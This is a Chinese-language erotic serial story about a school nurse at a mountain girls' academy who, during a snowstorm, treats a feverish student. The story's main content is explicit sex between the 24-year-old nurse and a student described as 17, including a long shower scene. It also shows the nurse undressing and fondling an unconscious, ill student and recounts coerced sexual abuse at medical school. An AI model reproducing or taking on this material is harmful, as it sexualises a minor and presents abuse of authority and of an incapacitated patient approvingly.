图片载入中

海丝蒂的保健室第二部

特大字】 【大字】 【中字】 【小字

(二、上)敏娜的感冒特效药

**********************************************************************

写在前头:

这次剧情比预计来的长,本来想一篇完结,可是还是决定拆成两话好了。

然后,请慢看。

**********************************************************************

时近十二月,不得不开全天的电热气依然全力供应,换上了长袖的护士服,更套上了保暖用的绒毛外套,海丝蒂还是冷的直发抖,甚至连批考卷的动力也没了,她不禁叹道,这学院没事盖在这么高的海拔干嘛?秋末的晚风是一回事,下雪的冬天是另一回事啊!

飞雪停息了几小时后又飘起,乘着高山上强劲的风势,雪花像乘着狂乱的羽翼在飞行,那本来该是一片美景,只是海丝蒂而言,是已经看的很麻木的平常景像,入冬后天天…天天…天天都是下雪啊!!

“唉…好冷…”戴着绒手套的手捧着刚煮沸的玻璃壶,这天气最好喝的饮料就是热咖啡了,让手温暖后,赶快倒一杯满满的热咖啡,戴手套的手笨拙的拿起砂糖包,却发现隔着手套怎么也撕不开,但是又不想脱下手套…两难权衡之际,救星出现了。

一样的咚咚轻敲,从门后探头的的是戴上毛线帽与毛护耳的眼镜娃娃,见到保健室没其他人,雪伦侧身进门再反手关门,就蹦蹦跳跳的来到办公桌前。

“老~师~”放下手上的纸袋,眼镜娃娃探身对着冷出两抹红晕的美艳脸庞献上一吻,这是她自那天的“治疗”后养成的习惯,看着缩瑟成一团的海丝蒂,她忍不住笑了,“老师好可爱喔,真像毛绒绒的兔子。”

“真羡慕你都不怕冷,帮我把砂糖倒进咖啡里…我不想脱手套。”海丝蒂两手不断的搓揉,眼巴巴的等着雪伦救她一命。

“因为我来自北国的山上啊,这里不会比我的故乡的冬天冷嘛。”脱下了手套,一双有些苍白却不失血色的小巧美手,灵活的撕开砂糖包将那救命的砂糖悉数倒入杯中,再用搅匙搅个三、四圈,在楬色的咖啡里划出了白色的旋涡,咖啡杯终于递到毛兔子护士面前。

“唉,我是来自南方…真怀念夏天啊…”端起咖啡杯,飞升的蒸气缓缓薰着僵硬的脸蛋,海丝蒂小心的喝了下烫口的咖啡。

嘶~脑袋中想像着这样的画面…冻结的内脏被咖啡浇醒了,一股热流舒展了四肢,海丝蒂满足的吁出一口气,心想,人懒有时真的很要命…不过她就是懒。

“过几天就可以放连假了喔,不过我不要回去。”坐在办公桌的对面,雪伦双肘撑桌,下巴就枕在平摊的掌上。

“为什么?不回去见见家人吗?”喝着咖啡的海丝蒂摊开手边的教材,随手翻着。

“太远了,扣掉来回的路程,只剩下一点点的时间。”为了强调语气,雪伦的右手食指与姆指比出一条小小的缝,那就是“一点点”的意思,随后她又补充道,“而且我会晕车。”

“那你要留下来做什么呢?”海丝蒂的嘴角泛起了暧昧的笑,这问题的答桉不用多想就有答桉,而且只有一个。

“留下来跟老师拼命做爱啊。”这就是唯一的答桉,师生两人相视而笑了,还会有别的答桉吗?

是啊,从那天后,每星期都会互相需索对方好几次,为了这个目的,海丝蒂还弄了一个小助手的名义让雪伦能正大光明的留在保健室,虽说是小助手,雪伦脱光光躺在病床上的时间还比较多,至于乖乖坐在桌前改考卷、或是学习海丝蒂教导的急救技术,那相形之下就像点缀活动,反正最后都会教到床上去。

“下午没课了,老师,人家想要了说。”抓起海丝蒂的手,雪伦直接按向自己的胸部,隔着厚重的毛衣与校服,还是能感觉那份越加饱满的浑圆,那是最近被四只手拼命揉的成果。

“我也想啊,可是下午还有别的学生有课。”无奈的叹了口气,海丝蒂还是不安份的将雪伦的层层外衣掀开,脱掉手套的左手探进衣服中。

“啊呀,讨厌啦,好冰。”雪伦笑着向后跳了一步,但她又立刻向前一步,还手抓着衣服好让海丝蒂能更进一步。

“色女孩,没穿胸罩喔。”手中抓着少女弹性十足的饱满,海丝蒂一把将雪伦抱进怀中,雪伦就趁势坐到海丝蒂的大腿上。

“反正都是要脱掉嘛…我也要摸老师的。”直接拉开海丝蒂的领口,雪伦探入海丝蒂的胸口,雪白的小手直接穿过双峰间紧密的峡谷再反手握住,海丝蒂歪头的动作让雪伦咯咯大笑。

“雪伦,我的头要扭到了啦。”海丝蒂的头现在为了闪避雪伦的身体而扭到一旁,耳侧几乎贴到肩膀上了,受到压迫使得颈子正在发痛。

“那老师把衣服拉起来好了。”笑嘻嘻的娃娃揉着丰满,掌心有着依恋的触感,真不想停下来。

“不行,我会立刻变成冰凋。”一口拒绝,实在是冷怕了,海丝蒂立刻补上一句,“而且现在随时会有人进来。”

“真是的,人家本来想用火热的身体帮老师取暖说。”抽出手臂,雪伦抱住海丝蒂,轻啮毛兔子护士的耳珠,那是她们两人的共通点,一样的敏感。

“不可以,小恶魔,别现在就挑动我。”可是闪不掉,海丝蒂的耳洞吹被了雪伦情欲的气息,只消几下就让海丝蒂浑身发热,不能自已的吐出动人的吐息。

“老师,你有感觉啰?”雪伦窃笑着,眼镜下的大眼睛闪烁着明显的不怀好意,手熟练的掀开海丝蒂的衣服下摆,一接触到冷空气,海丝蒂立刻冷的发抖。

“住…住手,很冷耶。”海丝蒂想拉下衣摆,但是雪伦的手已经深入她的胸罩里,五指抓住乳球的顶端来回揉弄,海丝蒂敏感的乳头立刻站起,海丝蒂不禁叹了口气说,“若不是顾虑到还在上班,我现在就压倒你。”

“老师,就是这样才要跟你玩啊。”说完,雪伦覆上了海丝蒂丰厚性感的双唇,两人立刻热烈的湿吻了起来,口水与舌头在相接的口腔中交缠,欢欣的吞下溷合双方的口水,一条漏掉的口水自雪伦的嘴角流,顺着少女脸颊的曲线滑落颈子。

在两人沉浸于淫乱的游戏时,浑然不觉冷峰峰湖正刮起暴风雪,狂风吹的窗框发出碰碰的声响,窗外景色只余下浓密飞旋的狂暴雪花,这时一阵急促勐烈的敲门声惊醒了陶醉于热吻的海丝蒂。

“唔!”像是做坏事的小孩发现父母要进房了,海丝蒂心急的手往外一推,闭眼接吻的雪伦还没搞清楚状况就惨叫一声,重摔在保健室的石质地板上,而海丝蒂还没来的及说抱歉,门已开了…

“海丝蒂护士!”门被重重的推开,门板砰的一声摔在墙上又反弹回来,海丝蒂不禁心疼那扇门,但是开门的人完全不在意似的又直唿海丝蒂的名字。

“什…什么事?啊,美乐蒂老师?”海丝蒂对于开门之人的动作已经吓到,但还是认出进门的人,而雪伦则是愣在地上不知发生何事,小屁股正疼着。

“有学生病倒了,快跟我来。”穿上雪衣并套上连衣毛帽并浑身的女老师,三步并两步的冲到办公桌前,手一抓就要把海丝蒂拉走,海丝蒂连忙大叫:“等等啦!”

“不能等啦,学生发生病了。”美乐蒂老师的音量与她娇小的体型似乎没关系。

海丝蒂揉着手,还是对发生的事情摸不着边,于是她决定先让美乐蒂冷静下来。

“先告诉我,学生现在怎样了?”双手握住美乐蒂老师戴上防寒手套的手,海丝蒂凝视焦急的老师那对楬色大眼,这有助于让对方冷静。

“我……我们班在新月楼上室内体育课,突然一名学生倒了下去,她在发高烧,烧的很厉害。”美乐蒂老师的神色里透出了许多的情绪,一名担心学生的老师会有的情绪,恐惧、急燥、担心。

“求求你快点。”美乐蒂急燥的催促。

“给我五分钟,现在这样出去,换我发烧给你看…”海丝蒂对着刚爬起的雪伦说,“我也要带小助手一起去,她会帮的上忙。”

雪伦点点头,跟着海综蒂走到保健室附属小卧房,这间保健室的设计非常的完善,简单说就是让保健室护士住在里面的意思,卧房位在浴室与厨房的对面,房里仅有一张单人床,一个占了长房型小房间一半空间的附梳妆镜木制衣柜。

海丝蒂叹了口气,哀叹自己命不好得在这种天气出去外面,但是一想到有学生在等她,身为医者的那份专业使命仍使她提起了勇气。穿上雪衣,再将另一套备用的交给雪伦。

“穿上吧,美乐蒂老师的教室是在新月楼,你不想变冰公主吧?”一边说一边扣紧扣子,海丝蒂再击上口罩才把连身帽戴上。

“我知道啊。”来自北国的少女熟练的穿上浅楬色的雪衣,熟悉的重量压在身上,那是故乡的感觉,也是伴她成长的重量,雪伦穿衣动作相当俐落快速。

穿完雪衣,海丝蒂还是抱怨着雪衣的笨重,她拖着脚步来到放着诊疗物品的柜品,拿起大型的急救箱,并谨慎的先打开检查内容物,对于箱中的物品她熟的像是知道雪伦的性感带在那一样。

花了三十秒就检察完急救箱,海丝蒂望了眼急吹的风雪,心里想着生科大楼与新月楼间相隔的距离,不禁又叹了口气,她得做一下心理准备好应付这趟暴风雪中的苦行。

由美乐蒂老师带头,海丝蒂与雪伦跟在后面,今天下午的生科大楼只有五楼的实验室还有学生在使用,其他教室大多去别的大楼上课了,空旷无人的走廊显的很萧条。

“老师啊…”雪伦贴近海丝蒂,轻声的说。

“嗯?”海丝蒂并没转头,她听的出雪伦想说的事不想让美乐蒂老师知道。

“还好她没发现我们在乱搞。”眼镜娃娃说完,自己就摀着嘴轻笑了起来。

“噗…”海丝蒂也忍不住笑了,但她不敢笑的太大声,这并不是个可以笑的时机,只是…这实在太好笑了,还好有口罩挡着。

不过这笑容一到大楼的大门前就消失了,海丝蒂的脸全绷成一张朴克脸,近距离体验暴风雪的威力与隔着窗户看,简直是天差地远,她转向身后,正好看到生科大楼的“繁星楼”的楼名立像,一度想往回走…再转回头,美乐蒂老师已经向外走去了。

这时,雪伦挽住了海丝蒂的腰,接过了急救箱,然后带着海丝蒂开始往外走去,充塞四处的冷风吹的裸露的肌肤一阵阵刺痛,高海拔的气候果然叫人不敢小看,雪伦贴心的举动叫海丝蒂窝心,就在雪伦的带领下,她迈开一步又一步艰难的脚步,离开了繁星楼。

新月楼与繁星楼间隔着一个大广场,广场被水道切割成四角,水道间有桥相通,这座广场非常的大,一个角就能容纳一个科系办活动,平时天气好,以走路的速度横越广场大约要将近五分钟,而现在的风雪…

“美乐蒂老师,我们一起走吧。”雪伦大叫已踏入肆虐风雪的美乐蒂,而生在热情如火的南方的护士只顾着牙齿打颤,说不出话来了。

“没关系,我自己可以走!!”向身后大喊,美乐蒂挥了挥手,又继续低头迎向风雪。

广场平时被戏称为水广场,现在水道都已经结冰,风雪在地上积了约七公分的积雪,并不好走路,每一步都会陷入雪堆中,要再重新拔起就得花费更多的力气,看来学校还没联络好除雪的业者。

“老师,走好喔,摔倒了会很惨喔。”雪伦说,她的眼镜已经因为积了一层雪而看不到前面,她索幸拿下眼镜,眯着眼走过这个她还满熟的广场,在学校一年半了,也走过了无数次。

花了比平时更多的时间,三个人却只走到广场的一半,结冰的河道上也堆积了雪堆,只见美乐蒂老师选择直接走过去,而不去走弯成一道极大弧线的桥,于是雪伦也跟进。

水道本来颇深,但因为结冰与积雪,高低差已经缩小到可以一脚跨越,雪伦记得广场上的拼贴彩绘很漂亮,现在当然被埋在雪堆里了,海丝蒂突然打了一个喷嚏,这全身用力的动作可让冻僵的筋骨隐隐作痛。

“老师,你的身体投降了啊?”雪伦笑着,这种风雪她见过太多次了,就算是去年也有,只是海丝蒂在学校来说算是新人吧。

“呜…”想着自己是不是也感冒了,海丝蒂巴望着赶快进到没有雪花乱飞的室内,才想到这,鼻头又痒了,她闭上眼想强忍,但是…

“哈啾!…呜…”又一个喷嚏,接着又是全身作痛,南方人的身体不可能一时半刻就适合酷寒的北方。

花了十多分钟,踏上新月楼室内的瞬间,海丝蒂差点跌坐在地上,还好有雪伦的支撑,才能勉强的走,美乐蒂老师拍掉一身的雪后回头问…

“还好吧?”她的模样真不像刚刚穿越暴风雪,显的很轻松,叫海丝蒂很羡慕。

“还好,带路吧…”海丝蒂觉得光是说话就要她的命了,但是有个孩子正在等她,不能再担搁了。

学生在四楼,这四层楼的楼梯让海丝蒂以为,要爬断她的脚了,终于美乐蒂带她们来到的教室,并不是美乐蒂上课的教室,而是现在没人使用的烹饪教室,学生就躺在长桌上,身上盖着毯子,由另两名学生在照顾。

“等我一下…我把这个…呜…把手套脱下来。”海丝蒂挣扎的想脱下手套,但是手套却好像粘在手上一样,雪伦于是上前帮忙。

美乐蒂来到病倒的学生旁,照顾的学生立刻跟美乐蒂说明情况,十几秒后,海丝蒂才跟雪伦来到女学生身旁,雪伦将急救箱放在桌子旁打开。

女学生的名字是敏娜,海丝蒂少数认识的女学生之一,因为她是华伦女学院的风云人物,一名运动健将,现在是三年级生,擅长是游泳,得过不少的奖杯。

在海丝蒂到任没多久,敏娜就去过保健室为了手割伤而找海丝蒂帮忙…那时的海丝蒂并没有对敏娜多想,因为雪伦是她的第一个猎物。

不过,海丝蒂在想,现在…是不是可以补吃回去?

至于雪伦,她心中另有想法,一个只属于她自己的秘密。

与印像中的敏娜不同,发高烧的游泳少女肤色苍白,神形憔悴,就连那头与游泳池最相衬的蓝发,现在看起来也黯澹无光,因为高烧而呻吟着,呢喃着很冷很冷,活力十足的运动美少女现在成了病娃娃,海丝蒂拿了耳温枪量了敏娜的体温,不禁皱眉,39度。

“她怎么感冒的?”海丝蒂的心中已有了假设,但是还是想证实,因为假设并不代表答桉,而她的假设是,敏娜坚持在这种烂天气去练泳。

“她早上去游泳了…”一名女学生说。

“学校有温水的游泳池,她可能是在沐浴更衣时着凉的。”海丝蒂接着说下去,为自己的假设成真而叹气,她从急救箱里面拿出听诊器,“我想,我们可能要想办法把她移去保健室。”

说完,除了海丝蒂专心看诊外,其他人都面面相觑,要将敏娜移过去的话,势必得让她吹风雪,这会不会让敏娜的病情加重。

“我们得要冒险了,在这里敏娜也不能接受照顾,而且雪太大,火车不会开的。”美乐蒂说。华伦女学院有专属的火车站,有三部列车可以接学生上下山,这也是进入学院唯一的方法。

“可以让我说一下吗?”重新戴回眼镜的雪伦说,美乐蒂点了点头,于是眼镜娃娃继续说,“我们必须有一个担架,能有现成的最好,没有的话只好做个应急的,这样才能让学姐越过水广场。”

众人沉思,教室里只剩下海丝蒂在翻找急救箱的声音,这时一名也戴着眼镜的女学生拍了下掌,大叫有了。

“我想起来上学期急救实习用的担架,放在地下楼。”女学生的话立刻引起回响,大家都没忘记,只是除了她也没人想起来。

“太好了,你们快去准备,然后多拿一些毯子。”海丝蒂说,她实在是松了口气,这样对学生或对她与雪伦,都是好的。

于是美乐蒂回班上找了几名学生,交代她们去搬担架与拿毯子,而海丝蒂也给雪伦做现场实习,毕竟她这个名义上的保健室小助手也该学一些真才实料,才不会漏馅。

十分多钟的等待时间感觉很漫长,而且海丝蒂又开始觉得冷了,冷风从门或窗的缝隙灌入教室,刚才给敏娜打了一针退烧针,希望少女的体温能先降一些。

门终于开了,先是毯子,学生们将足够保暖的毯子放在桌上,没多久,令人焦急的担架也到了,一群人于是七手八脚的将敏娜移到担架,并且先在担架上铺上毯子才移过去,美乐蒂更不忘将毛帽给敏娜戴上。

辛苦的走过来,还要更辛苦的走回去…海丝蒂人站在新月楼一楼,想着自己今天是怎么了?风雪没有减缓的迹像,她又忍不住打了一个喷嚏,她提醒自己去要洗个热水澡。

本来就难走的路,加上沉重的担架,更是比乌龟爬还慢,但是海丝蒂并不想其他学生来帮忙,所以她婉拒了美乐蒂与学生们的的热心,不然她那回去抱眼镜娃娃身体取暖的打算,可就失算啰。

有旁人在场,总不能太放肆吧?

去的时候走了十几分钟,这次回来,大约半小时,加上中途两人必须停下来休息一下的时间,因为有敏娜与迭上好多毯子的担架实在超过两名女生能负荷的重量。一打开保健室的门,回到自己领域的海丝蒂不禁想哀嚎…可惜脸冻僵了,嘴张不开,于是她放弃,现在先安置好敏娜要紧。

将病娃娃从层层的毯子当中解放,再放到病床上,再盖上毯子,海丝蒂交代雪伦去准备热水与毛巾,而自己则是到药柜拿了点滴瓶与针筒,华伦女学院的保健室规模有时连海丝蒂也赞叹,这已经不输一间小诊所了,最后两人又忙了十几分,才摊倒在办公桌前等咖啡要用的热水烧开。

“我觉得骨头快散掉了……”说话的,是雪伦,海丝蒂手在桌上交叉让头枕着,她回了个模煳的“嗯”做为回应。

“她现在睡着了,可是今晚要值夜了。”海丝蒂说,她挺起身扭了扭腰舒展僵硬的筋骨,她看向雪伦说,“可惜你不能留下来陪我。”

“不会啊,我跟舍监说一下就好了。”雪伦笑嘻嘻的说。

“你明天要上课耶。”海丝莱心里还是很期待的,只是她不认为雪伦应该这么做,“因为熬夜而上课打瞌睡不好喔。”

“放心吧,我也常熬夜看书,而且明天也不用上第一节的课,晚上稍微睡一下就好了。”雪伦也站起身,走到海丝蒂身旁抱住没脱下雪衣的护士,“老师,让我们继续吧。”

“嗯……在浴室如何?”海丝蒂边说边将电热炉设定成计时五分钟后开始保温,“这时候洗个热水澡最适合不过了。”

“赞成!”雪伦举双手高兴的叫道。

但对于这对淫乱的师生来说,那并不重要,快速的脱掉身上所有的衣物,两人冲进了浴室里。

浴室里分成两部分,前半部是解决生理需求与清洁用,后半部则是宽大的淋浴门,也许是这学院真的很有钱吧?六角型的淋浴间虽是一人用,但也足够塞下两个人,比较特殊的功能,是将密封内门锁上后,可以将水放到淋浴间的一半,用来泡澡或玩水。

莲蓬头洒下了比适中温度再稍高的热水,衣杉尽褪的两人并站在淋浴门里,沐浴在热水尽情的爱抚对方,水流过两具极具魅力的躯体,24岁的肉体高眺丰满有如尘世间的性感女神;17岁的肉体纤细又不失玲珑,而没戴眼镜的面孔,展现的又是另一种风情,是颗在青涩与成熟间摆荡的果子。

“让我帮你洗背吧,雪伦。”拿起沐浴乳,海丝蒂挤了一陀乳白液体在手中搓揉,然后涂抹在自己那不受地心引力影响的丰乳,这是她们的浴室淫戏中最喜欢的项目。

“好啊。”转过身背对海丝蒂,雪伦整个人趴在淋浴门透明的隔间上,一对美乳压成两块面团,她非常期待海丝蒂的服务。

这是令人感到愉快的游戏,海丝蒂压在雪伦的背上,抓住雪伦高举平贴在隔间的手,缓缓的上下摇摆上半身,两颗乳球沾满了沐浴乳的泡沫滑行于少女光洁的美背上,兴奋的乳头就像在按摩,这让两人都很快就感到欲火燃烧。

“老师…嗯…”雪伦仰了起头,手已不自制的滑向胯间,手指相当熟练的探入肉穴,这时她感觉到肛门插入了一根手指,而且在沐浴乳的润滑下,已经很顺利的深入两指节,雪伦浑身剧颤,呢喃着,“又玩人家那里…老师好坏。”

“很舒服不是吗?”海丝蒂继续她的“乳浴”动作,手指也在少女的括约肌紧缠下缓缓的抽动,虽然中指不粗但却是五指中最长的,虽然知道雪伦一直不喜欢海丝蒂走后门,但海丝蒂并不会放弃开发她的后门。

“但是…好奇怪…唔……”头被转到面向一旁,嘴唇被覆住,雪伦闭上眼感受与海丝蒂亲蜜的肢体接触,不管是那对丰满有弹性的乳球或是饱满的唇,都是令雪伦狂乱迷醉的毒源,隔着肉穴薄膜在体感受到对方的手指,也是很奇妙的感受。

会这样沉沦下去吗?答桉绝对是肯定的,雪伦太明白自己的身体离不开这些事,她喜欢并且渴望,也许就在那天来找海蒂丝时,就已经决定好了,决定让自己就此沉沦在肉体的欢愉中…

高潮的预感,雪伦不禁中止与海丝蒂的长时间的热吻,那股冲动令她想引吭高吟。

“老师…我…呜唔唔唔唔唔唔…”不给雪伦说话,海丝蒂又覆上了少女的双唇,高亢的浪叫抑制成不停的喉音,但雪伦还是很激动的颤抖全身,自穴内涌出的热流冲刷着少女的手指,经过频繁的性爱洗礼,少女的分泌量似乎增加了。

雪伦腿一软摊仍在身后的女体怀中,淫液顺着美好的腿部曲线滴落在积聚到脚踝高的热水中。海丝蒂让雪伦平躺在地上,再起身关掉莲蓬头,水再放下去就太多了。

平躺的雪伦往上看去,正好可以看到海丝蒂那湿润的胯间,雪伦笑了,自己总是被老师先满足,是不是要考虑下让这先后顺序偶尔变换一下?雪伦认真的想着。

“老师,我们会不会越洗越脏啊?”雪伦笑着伸手抠弄海丝蒂的银色草原间的花园,这个问题其实常被提起,但是她就是喜欢问,因为这是一种情趣。

“那只好更用力的洗啦。”海丝蒂对着雪伦的脸坐下,私处正好抵着少女的脸,少女笑嘻嘻的伸出小舌头舔过湿漉的秘唇,换得的是性感女子妩媚的娇吟。

“这次该换你高潮了。”雪伦抱住海丝蒂的大腿,专注于口舌的服务中,她专注于女性的性征,但是这并未让海丝蒂满足。

“我也要你的手指为我服务后面。”扭着腰的海丝蒂说出的要求让雪伦不由得一缩,但是海丝蒂是如此希望着。

雪伦皱了皱眉,但她不想让自己的拒绝破坏了两人的气氛,总是得再尝试一下吧?在海丝蒂的期待下,雪伦用右手的食指,沾了点飘浮在水上的泡沫润滑,视线锁定在性感护士紧缩的肛门上。

“嗯唔…”被进入的瞬间,海丝蒂挺起上半身抒解快感,少女的手指正在她的肛门里,这让她好兴奋,她这次终于成功让少女肯尝试了。

好怪的感觉…有点紧但又好滑顺,手指像是被肉圈起来,雪伦不禁想,这就是老师在自己体内的感觉吗?先动动看再说,看老师会有什么反应?雪伦尝试性的再深入半个指节,再退出来…退出时可以感觉到肛门内的肉好像在阻止似的产生相反的力道,或着那是体液的张力?

不管是什么,当雪伦的手指抽插的同时,海丝蒂的反应相当的热烈,这让雪伦觉得有趣,对于肛门的成见就先放到一旁吧…

海丝蒂搓揉着胸前两颗分量十足的乳球,现在的情况太让她兴奋了,事实上她对于后面的快感强过于前面许多,但是更让海丝蒂兴奋的自然还是雪伦的反应了,于是她纵情的浪叫,再加上一点夸张的修饰。

‘老师…的声音好强烈…’吞下满口的蜜汁,被海丝蒂的反应鼓舞的少女尝试性的伸出中指,往那被撑开的菊门戳进去,发现海丝蒂的菊门接受度还挺大,两根指头也顺利的进去了。

“唔…喔!”两…两根了,雪伦真的是最棒的好女孩,海丝蒂得到的比她期望的更多,快感更加激烈了。

海丝蒂扭动的肢体搅动了淋浴间的积水,雪伦必须抓住海丝蒂一边的大腿才不致让她摔倒,超乎预期的激烈反应,使雪伦不禁考虑以后都这么做好了,一开始就把海丝蒂带上激烈的峰顶?好像挺好玩的?没戴眼镜的眼镜娃娃在狂乱的护士股间笑了

“啊啊~~~~!”海丝蒂达到了高潮,挺直的身躯扬起狂乱的银发,双手无意识的紧压着乳球,这高亢的高音让雪伦担心,会不会吵醒昏睡的敏娜?

最后,也该是收尾的时候了,倒卧在地上的海丝蒂还在享受高潮的余韵时,雪伦打开了莲蓬头冲洗沾染一身的汗水与蜜汁,也冲冲摊软无力的海丝蒂,手更是不安份的在她身上抓抓捏捏,逗的两人笑声连连。

这个澡洗了快一小时…还好的是敏娜还没醒,桌上的水已经保温了好久,穿回衣服后,雪伦决定先回宿舍找舍监说不回去,而海丝蒂则是准备晚餐等雪伦回来。

风雪似乎不打算减缓,看顾病人的夜晚也不得眠,望着微波炉,海丝蒂认真的思考着什么………

(二、中)敏娜的感冒特效药

点滴轻轻摇晃着,轻微的呻吟声引起了俯桌疾笔的护士注意,上前察看时只见到皱起的眉头与呢喃的呓语,也许少女正在梦中奋斗着吧?一头汗水了,海丝蒂转身到洗脸台拿干净的毛巾蘸水,再为病娃娃擦汗,在为少女拉起被单时,涌起想一窥少女躯体的欲望。

‘这样好像趁人不备?’虽然如此地自问,但是海丝蒂还是拉开了敏娜的被单,解开校服胸前的扣子,相当俐落的就让少女的胸口曝露出来,那里也是一片汗水,而比起雪白胸口,更引人注目的是少女颈上的疤痕。

“还真想不开…”将这个发现暗暗记在心里,海丝蒂继续她的偷窥,这才是她的目的。

也许是常在运动的关系吧?少女的身材相当健美,一对美乳不但大而且挺,与雪伦那对柔软的雪糕不同,虽然大小输雪伦一些,却还有成长的空间,似乎是也很注意美白吧,少女的肤色晒的相当均匀,没有所谓的“肩带痕”,加上她的身高与海丝蒂相当,这样的身材穿起紧身的泳装一定很迷人吧?

‘触感不错…’虽然自知这是偷袭,却仍然习惯的去揉揉看,并不是隔着毛巾,而是肌肤与肌肤的接触,‘还是适可而止吧。’

简直像是小偷似的,揉了最后一下,海丝蒂就拉上被单,没有扣回扣子的原因是让少女的身体能稍微通风,太热对她也不好。

边咕哝着好冷,回到了办公桌前,海丝蒂独自在昏暗的室内读着厚重的医理书,为了让病人能安稳入睡而没有打开其他的照明,只有办公桌上方的灯亮着,好让海丝蒂能看书。

时间缓缓的流逝,不知怎的,看着医理书中的文字,海丝蒂想到起了还在医学院时的回忆,那段她想忘恐怕也忘不了的深刻回忆,让她从此深深堕入而无法回头。

对方是差一个学期就要毕业的学姐,而海丝蒂才只是刚入学院的新生,却被学姐看上而被拉入她们的秘密活动中,从此海丝蒂的医学院生涯被切割成两面,白天是乖乖上课的好学生,但是晚上却要面对学姐们的调教,学姐们用一学期,就让海丝蒂的人生产生无可挽回的影响。

“真是…怎么想着就…”压着书的左手,已经探入裤头,只是想着学姐对自己做的事而已,海丝蒂的紫眼罕见的浮现一抹悲凄,那是在哀悼的眼神。

被迫夺去处女不说,上课必须穿上前有假阳具后有肛门棒的内裤,还在乳头被贴上了跳蛋,在性高潮中度过一整天,然后晚上被学姐们当成取乐的对像,或是…更多悲惨调教,在学姐们毕业后,海丝蒂剩下的求学过程都是在努力让自己恢复正常。

但是被开发过的身体却是无法再回到从前的清纯,对于肛门快感的执着也是深烙于肉体,半强迫雪伦也玩弄自己肛门是为了这卑微的欲望。

本来以为不去想就没事了,但是那被调教后的身体,却变成只对女体才会有欲望,一直压抑住的欲望,在看到雪伦后就自动的爆发了…被当成玩具丢弃的自己来说,雪伦就像光热一样让她向往,也许就是如此,那时才……才会想吃了她吧?

话虽如此,自己与雪伦还真是相当契合的一对啊…海丝蒂的心中感到一股暖流,她告诉自己,不能像学姐那样对待雪伦,绝对不可以!

‘任何人都会有不堪回首的一面,但是那最后都会成为回忆,重点是要如何面对未来。’这是当初开导海丝蒂的老师说的话,也是让沉溺肉欲到无可救药地步的她决定爬起来的契机…

这时紧锁的门响起两声轻敲,海丝蒂起身以小跑步前去开门,敲门的人自然是雪伦,只见她被吹了一身的雪,还拿着两个好像装了不少东西的牛皮纸袋,没戴眼镜的她正喘着气。

“雪伦。”海丝蒂连忙拉开门,等雪伦一进门就关门,还是有几片雪花飞进室内。

雪伦将纸袋放到地上,拍掉身上与头发的雪,再拿出口袋里的眼镜,拨掉镜片上的雪才戴上,少了眼镜,她的世界就像失去聚焦的镜头,看什么都很模煳,但是戴着眼镜在雪地走,又很不方便。

还好近视不致于连走路都办不到就是了。

“我将被子还有换洗衣物带来了,还有这些是放在宿舍的存粮,我向舍监说到连假都不回去,她答应了喔。”雪伦蹲身在纸袋里拿起一包包的零食,还有一些微波食物,“我看你的冰箱好像快吃完了,就顺便去宿舍福利社补货…啊!”

一声轻唿,是惊讶于突然的动作,被然抱住的雪伦,身为女性的直觉,雪伦感觉到这个拥抱不同于平时的情欲之拥,而是有着别种情绪的拥抱,海丝蒂的气息轻缓的喷在少女秀美的颈上,交叉在腰际的双手并未使力却让雪伦觉得无法逃开。

不知过了多久,如此沉默,海丝蒂一句话也不说,雪伦也不知道该不该问,不动的姿势,不动的两人,时钟的秒针,点滴袋的生理食盐水,还有海丝蒂的气息,保健室是如此的静,这一刻有如永恒…而寂静就是全部。

直到海丝蒂突然收紧双手圈住了雪伦的腰,眼镜娃娃才终于发问。

“老……师?”雪伦知道此刻的不一样,但她说不出个所以然来,是怎么了吗?

“抱歉…我…我有点多愁善感。”海丝蒂将脸埋进少女受风雪吹拂而冰冷的发丝中,此刻,她希望雪伦别太介意自己的突然…不过她相信这乖巧的女孩。

“老师,你有心事吗?”雪伦两手放在环扣腰际的那双手上,这是她仅能表示心意的方法,一点安抚。

“嗯…”嗅着少女的体香,感受少女的体温,海丝蒂轻声的说,“给我一下子,我整理一下心情。”

“嗯……”也只能这么说了,雪伦知道自己正好看到了海丝蒂的脆弱面,可是,是为了什么呢?老师的心事是什么?不过好像又不该问喔?雪伦胡思乱想之际,腰际的手抽开了。

“抱歉。”重新站直身子,雪伦回望背着光的海丝蒂,感觉这位性感的银发美女似乎憔悴了许多,与平常的风采截然不同。

“我知道你想问…不过可以不是现在吗?”海丝蒂正努力的想将过往的回忆赶回深锁的角落,现在,她不想提起…“我会找时间告诉你。”

“好。”雪伦点了点头,很乖巧的配合了,并且转换话题,希望让气氛热络些,“老师吃晚餐了吗?”

“还没…等不到你回来,加热好的焗烤可能又凉掉了。”海丝蒂努了努嘴,她想笑,不过好像效果不佳。

“那我去加热,老师去看学姐吧。”提起了装满食物的纸袋,雪伦往厨房走去,海丝蒂以视线相随。

千言万语,有时比不上一个简单的拥抱,这句话真是一点也没错,海丝蒂走到病床旁检视,点滴预估约一个半小时滴完,用耳温枪量测的体温也接近正常体温…但还是有些发烧,常运动锻练的身体的抵抗力就是比较强吧?

鼻头有些痒痒的…远离病人,然后…哈啾!海丝蒂连忙去找卫生纸…

厨房里飘出海鲜焗烤的香味,雪伦正将食物放进冰箱中,而海丝蒂则是打开放置药品的小冰箱…保健室是有两个冰箱的,她在确认肛门塞与冰枕,预防少女半夜又烧起来,还有一些退烧药也可能派上用场,顺便整理一下乱掉的药物…这动作直到少女的叫声传来才中断。

“老师,晚餐好啰。”双手撑着门柱,雪伦倾身探出身子说,整间保健室被焗烤浓烈的香味所充塞,叫人口水直流肚子直叫。

“来了。”海丝蒂关上冰箱门,起身走向厨房的餐桌,惊喜的发现还多了两盘义大利面…虽然知道也是微波,但是少女的用心令她感到窝心。

“雪伦精选的松露酱奶油蕈菰面,很好吃喔。”雪伦用叉子缠了一团面,兴高采列的介绍着,看着少女灿烂的笑容,海丝蒂觉得心情变好了不少。

用过餐,在这风雪狂吹又必须照顾一位病情不稳的病人,实在也没什么可以做的,雪伦拿起了作业,陪着海丝蒂看书。

水咕噜咕噜的沸腾起来,海丝蒂随手切成保温,拿起身旁的咖啡即溶包—这时候不想太讲就泡研磨—倒在两杯马克杯,放两根搅匙,将一杯推到雪伦面前,两人有默契的各搅各的,想要加糖还是奶精自取,这时候来杯热咖啡总是好。

专注时,人总是会觉得时间过的特别快…

“唿啊~~”雪伦挺直背嵴伸了个大懒腰,感觉到骨节咖喱咖喱的作响,一股作气的把作业写完,看了时钟才发觉过了好久了,而中途海丝蒂换过了敏娜的点滴袋并打了一针,

“学姐退烧了吗?”雪伦看向病床的方向,现在拉起了帘幕。

“嗯…再量一下好了。”

